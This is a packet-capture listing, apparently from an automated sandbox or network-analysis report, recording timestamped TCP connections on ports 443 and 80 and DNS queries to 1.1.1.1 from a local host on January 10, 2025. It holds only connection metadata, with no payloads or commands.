Jan 10, 2025 00:21:36.332272053 CET	443	50051	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.332350969 CET	50051	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.332369089 CET	443	50051	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.333435059 CET	50051	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.333475113 CET	443	50051	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.333580017 CET	50051	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.339792013 CET	50058	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.339826107 CET	443	50058	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.339924097 CET	50058	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.340312004 CET	50058	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.340332985 CET	443	50058	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.508239985 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.550443888 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.550458908 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.594863892 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.594875097 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.594919920 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.594944000 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.594950914 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.594975948 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.595001936 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.595026016 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.595053911 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.595258951 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.647680044 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.647691011 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.647737980 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.647773027 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.647809982 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.647830963 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.648302078 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.691925049 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.691936970 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.691982031 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.692084074 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.692097902 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.692171097 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.692171097 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.736141920 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.736175060 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.736287117 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.736304998 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.736326933 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.736361980 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.824764967 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.824791908 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.825094938 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.825126886 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.825520992 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.873059034 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.873084068 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.873441935 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.873459101 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.873596907 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.873895884 CET	443	50058	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.874165058 CET	50058	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.874174118 CET	443	50058	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.875246048 CET	443	50058	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.875324965 CET	50058	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.875699997 CET	50058	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.875767946 CET	443	50058	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.875845909 CET	50058	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:36.875854015 CET	443	50058	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:36.925474882 CET	50058	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.001997948 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.002058029 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.002130985 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.002144098 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.002213001 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.002213001 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.002729893 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.002787113 CET	443	50050	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.002892017 CET	50050	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.008728027 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.008758068 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.008850098 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.009210110 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.009219885 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.075268030 CET	443	50058	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.113612890 CET	443	50058	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.113693953 CET	50058	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.113713026 CET	443	50058	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.114471912 CET	50058	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.114517927 CET	443	50058	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.114577055 CET	50058	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.616250038 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.616660118 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.616677999 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.618057966 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.618124008 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.618623972 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.618695974 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.618782043 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.618789911 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:37.659876108 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:37.670073032 CET	80	49704	217.20.57.36	192.168.2.6
Jan 10, 2025 00:21:37.670209885 CET	49704	80	192.168.2.6	217.20.57.36
Jan 10, 2025 00:21:37.670281887 CET	49704	80	192.168.2.6	217.20.57.36
Jan 10, 2025 00:21:37.677310944 CET	80	49704	217.20.57.36	192.168.2.6
Jan 10, 2025 00:21:38.059128046 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.068775892 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.068790913 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.068825960 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.068851948 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.068859100 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.068918943 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.071516037 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.071533918 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.071598053 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.071604013 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.071630955 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.071641922 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.149858952 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.149899006 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.150027990 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.150051117 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.150108099 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.152745962 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.152769089 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.152849913 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.152864933 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.152910948 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.165678024 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.165700912 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.165803909 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.165815115 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.165867090 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.187352896 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.187376022 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.187489033 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.187504053 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.187552929 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.236397982 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.236452103 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.236578941 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.236599922 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.236612082 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.236650944 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.243294001 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.243376970 CET	443	50064	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:38.243462086 CET	50064	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:38.831792116 CET	50077	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:38.831821918 CET	443	50077	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:38.831882000 CET	50077	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:38.832492113 CET	50077	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:38.832500935 CET	443	50077	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:39.634896040 CET	443	50077	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:39.635337114 CET	50077	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:39.636847973 CET	50077	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:39.636858940 CET	443	50077	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:39.637099981 CET	443	50077	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:39.638972998 CET	50077	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:39.639025927 CET	50077	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:39.639030933 CET	443	50077	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:39.639169931 CET	50077	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:39.683325052 CET	443	50077	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:39.815263987 CET	443	50077	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:39.815371037 CET	443	50077	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:39.815428019 CET	50077	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:39.815788984 CET	50077	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:39.815799952 CET	443	50077	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:53.250956059 CET	443	49948	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:53.300602913 CET	49948	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:53.380197048 CET	443	49948	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:53.425715923 CET	49948	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:53.425729990 CET	443	49948	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:53.426414967 CET	49948	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:53.426517010 CET	443	49948	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:53.426578999 CET	49948	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:53.430005074 CET	50085	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:53.430031061 CET	443	50085	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:53.430123091 CET	50085	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:53.430327892 CET	50085	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:53.430341005 CET	443	50085	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:54.081547976 CET	443	50085	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:54.082212925 CET	50085	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:54.082227945 CET	443	50085	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:54.083450079 CET	443	50085	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:54.083585024 CET	50085	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:54.083921909 CET	50085	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:54.084007025 CET	443	50085	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:54.084079981 CET	50085	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:54.084089041 CET	443	50085	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:54.127255917 CET	50085	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:59.819835901 CET	50087	443	192.168.2.6	142.250.186.68
Jan 10, 2025 00:21:59.819868088 CET	443	50087	142.250.186.68	192.168.2.6
Jan 10, 2025 00:21:59.820066929 CET	50087	443	192.168.2.6	142.250.186.68
Jan 10, 2025 00:21:59.820149899 CET	50087	443	192.168.2.6	142.250.186.68
Jan 10, 2025 00:21:59.820158958 CET	443	50087	142.250.186.68	192.168.2.6
Jan 10, 2025 00:22:00.448666096 CET	443	50087	142.250.186.68	192.168.2.6
Jan 10, 2025 00:22:00.448981047 CET	50087	443	192.168.2.6	142.250.186.68
Jan 10, 2025 00:22:00.449009895 CET	443	50087	142.250.186.68	192.168.2.6
Jan 10, 2025 00:22:00.449348927 CET	443	50087	142.250.186.68	192.168.2.6
Jan 10, 2025 00:22:00.449678898 CET	50087	443	192.168.2.6	142.250.186.68
Jan 10, 2025 00:22:00.449747086 CET	443	50087	142.250.186.68	192.168.2.6
Jan 10, 2025 00:22:00.503782988 CET	50087	443	192.168.2.6	142.250.186.68
Jan 10, 2025 00:22:04.726191044 CET	443	49908	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:04.726264000 CET	443	49908	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:04.726331949 CET	49908	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:05.354990959 CET	50088	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:22:05.355022907 CET	443	50088	40.113.103.199	192.168.2.6
Jan 10, 2025 00:22:05.355118036 CET	50088	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:22:05.355751991 CET	50088	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:22:05.355766058 CET	443	50088	40.113.103.199	192.168.2.6
Jan 10, 2025 00:22:06.156826973 CET	443	50088	40.113.103.199	192.168.2.6
Jan 10, 2025 00:22:06.156974077 CET	50088	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:22:06.158812046 CET	50088	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:22:06.158822060 CET	443	50088	40.113.103.199	192.168.2.6
Jan 10, 2025 00:22:06.159060955 CET	443	50088	40.113.103.199	192.168.2.6
Jan 10, 2025 00:22:06.160880089 CET	50088	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:22:06.160931110 CET	50088	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:22:06.160936117 CET	443	50088	40.113.103.199	192.168.2.6
Jan 10, 2025 00:22:06.161050081 CET	50088	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:22:06.207330942 CET	443	50088	40.113.103.199	192.168.2.6
Jan 10, 2025 00:22:06.333288908 CET	443	50088	40.113.103.199	192.168.2.6
Jan 10, 2025 00:22:06.333412886 CET	443	50088	40.113.103.199	192.168.2.6
Jan 10, 2025 00:22:06.333482027 CET	50088	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:22:06.333605051 CET	50088	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:22:06.333625078 CET	443	50088	40.113.103.199	192.168.2.6
Jan 10, 2025 00:22:06.349960089 CET	49908	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:06.349983931 CET	443	49908	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:10.186564922 CET	50089	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:10.186594009 CET	443	50089	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:10.186804056 CET	50089	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:10.187572956 CET	50089	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:10.187594891 CET	443	50089	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:10.375247955 CET	443	50087	142.250.186.68	192.168.2.6
Jan 10, 2025 00:22:10.375466108 CET	443	50087	142.250.186.68	192.168.2.6
Jan 10, 2025 00:22:10.375664949 CET	50087	443	192.168.2.6	142.250.186.68
Jan 10, 2025 00:22:10.727329016 CET	443	50089	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:10.728041887 CET	50089	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:10.728060007 CET	443	50089	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:10.728473902 CET	443	50089	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:10.728996038 CET	50089	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:10.729084015 CET	443	50089	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:10.729221106 CET	50089	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:10.729221106 CET	50089	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:10.729252100 CET	443	50089	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.223834038 CET	443	50089	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.224329948 CET	443	50089	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.225393057 CET	50089	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:11.225426912 CET	443	50089	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.227343082 CET	50089	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:11.227399111 CET	443	50089	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.227566004 CET	443	50089	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.229763985 CET	50089	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:11.229763985 CET	50089	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:11.231043100 CET	50087	443	192.168.2.6	142.250.186.68
Jan 10, 2025 00:22:11.231074095 CET	443	50087	142.250.186.68	192.168.2.6
Jan 10, 2025 00:22:11.231509924 CET	50090	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:11.231548071 CET	443	50090	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.231623888 CET	50090	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:11.231829882 CET	50090	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:11.231842041 CET	443	50090	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.827276945 CET	443	50090	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.852020979 CET	50090	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:11.852040052 CET	443	50090	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.853241920 CET	443	50090	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.853301048 CET	50090	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:11.854307890 CET	50090	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:11.854383945 CET	443	50090	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.854564905 CET	50090	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:11.854576111 CET	443	50090	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:11.908179045 CET	50090	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:12.084155083 CET	443	50090	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:12.128139973 CET	50090	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:12.130048990 CET	443	50090	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:12.130618095 CET	443	50090	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:12.130666971 CET	50090	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:12.130678892 CET	443	50090	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:12.132756948 CET	50090	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:22:12.132816076 CET	443	50090	165.140.202.155	192.168.2.6
Jan 10, 2025 00:22:12.132877111 CET	50090	443	192.168.2.6	165.140.202.155

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 00:20:55.880928040 CET	53	60907	1.1.1.1	192.168.2.6
Jan 10, 2025 00:20:56.152400017 CET	53	60032	1.1.1.1	192.168.2.6
Jan 10, 2025 00:20:57.138557911 CET	53	53966	1.1.1.1	192.168.2.6
Jan 10, 2025 00:20:59.756129980 CET	50276	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:20:59.756345987 CET	56268	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:20:59.762888908 CET	53	50276	1.1.1.1	192.168.2.6
Jan 10, 2025 00:20:59.763396978 CET	53	56268	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:01.259057045 CET	59843	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:01.259366989 CET	64291	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:01.496705055 CET	53	59843	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:01.703871965 CET	53	64291	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:02.371357918 CET	51913	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:02.371558905 CET	60356	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:02.380232096 CET	53	51913	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:02.389828920 CET	53	60356	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:03.193052053 CET	60256	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:03.193252087 CET	50087	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:03.193763971 CET	51157	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:03.194190025 CET	54617	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:03.199914932 CET	53	60256	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:03.200337887 CET	53	50087	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:03.200975895 CET	53	51157	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:03.201262951 CET	53	54617	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:04.185024977 CET	65384	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:04.185174942 CET	55843	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:04.192384005 CET	53	65384	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:04.194173098 CET	53	55843	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:04.601912022 CET	63735	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:04.602118015 CET	55367	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:04.608854055 CET	53	63735	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:04.609837055 CET	53	55367	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:04.626565933 CET	54412	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:04.626720905 CET	53615	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:04.633080959 CET	53	54412	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:04.633364916 CET	53	53615	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:12.022453070 CET	50035	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:12.022696972 CET	58253	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:12.032494068 CET	53	58253	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:12.040154934 CET	53	50035	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:14.200141907 CET	53	60651	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:14.418046951 CET	51050	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:14.418209076 CET	63421	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:14.439135075 CET	53	51050	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:14.442214966 CET	53	63421	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:15.282471895 CET	53308	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:15.282731056 CET	65112	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:15.291338921 CET	53	53308	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:15.306793928 CET	53	65112	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:16.136656046 CET	56850	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:16.137090921 CET	52928	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:16.143138885 CET	53	56850	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:16.145735979 CET	53	52928	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:16.148756027 CET	49652	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:16.148931980 CET	52558	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:16.157232046 CET	53	52558	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:16.157849073 CET	53	49652	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:17.500650883 CET	61617	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:17.500866890 CET	65171	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:17.509079933 CET	53	61617	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:17.509579897 CET	53	65171	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:20.098825932 CET	58844	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:20.099200010 CET	57735	53	192.168.2.6	1.1.1.1
Jan 10, 2025 00:21:32.920593977 CET	53	55991	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:35.974987030 CET	53	51866	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:55.836455107 CET	53	64027	1.1.1.1	192.168.2.6
Jan 10, 2025 00:21:56.013700962 CET	53	53926	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
